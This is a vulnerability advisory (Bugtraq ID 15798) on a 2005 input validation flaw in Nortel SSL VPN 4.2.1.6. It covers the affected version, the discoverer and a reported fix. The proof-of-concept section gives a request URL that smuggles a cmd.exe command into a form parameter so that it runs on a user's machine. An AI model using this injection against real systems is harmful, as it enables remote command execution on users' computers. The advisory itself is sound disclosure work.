Nortel SSL VPN Web Interface Input Validation Vulnerability

BID:15798

Info

Nortel SSL VPN Web Interface Input Validation Vulnerability

Bugtraq ID: 15798
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 12 2005 12:00AM
Updated: Dec 12 2005 12:00AM
Credit: Discovered by Daniel Fabian.
Vulnerable: Nortel Networks SSL VPN 4.2.1 .6
Not Vulnerable:

Discussion

Nortel SSL VPN Web Interface Input Validation Vulnerability

Nortel SSL VPN is prone to an input validation vulnerability. This issue could be exploited to cause arbitrary commands to be executed on a user's computer. Cross-site scripting attacks are also possible.

Nortel SSL VPN 4.2.1.6 is vulnerable to this issue; other versions may also be affected.

Exploit / POC

Nortel SSL VPN Web Interface Input Validation Vulnerability

An exploit is not required.

The following example was provided:

https://SSL_VPN_SERVER/tunnelform.yaws?a=+cmd.exe+/c+echo+test+%3E+c:\\test.txt+&type=Custom&sp=443&n=1&ph=&pp=&0tm=tcp&0lh=127.0.0.1&0lp=8080&0hm=&0rh=10.10.10.10&0rp=80&sslEnabled=on&start=Start...

Solution / Fix

Nortel SSL VPN Web Interface Input Validation Vulnerability

Solution:
This issue was reportedly addressed in SSL VPN 5.1.5, however, this has not been confirmed by Symantec.

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Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Nortel SSL VPN Web Interface Input Validation Vulnerability

References:

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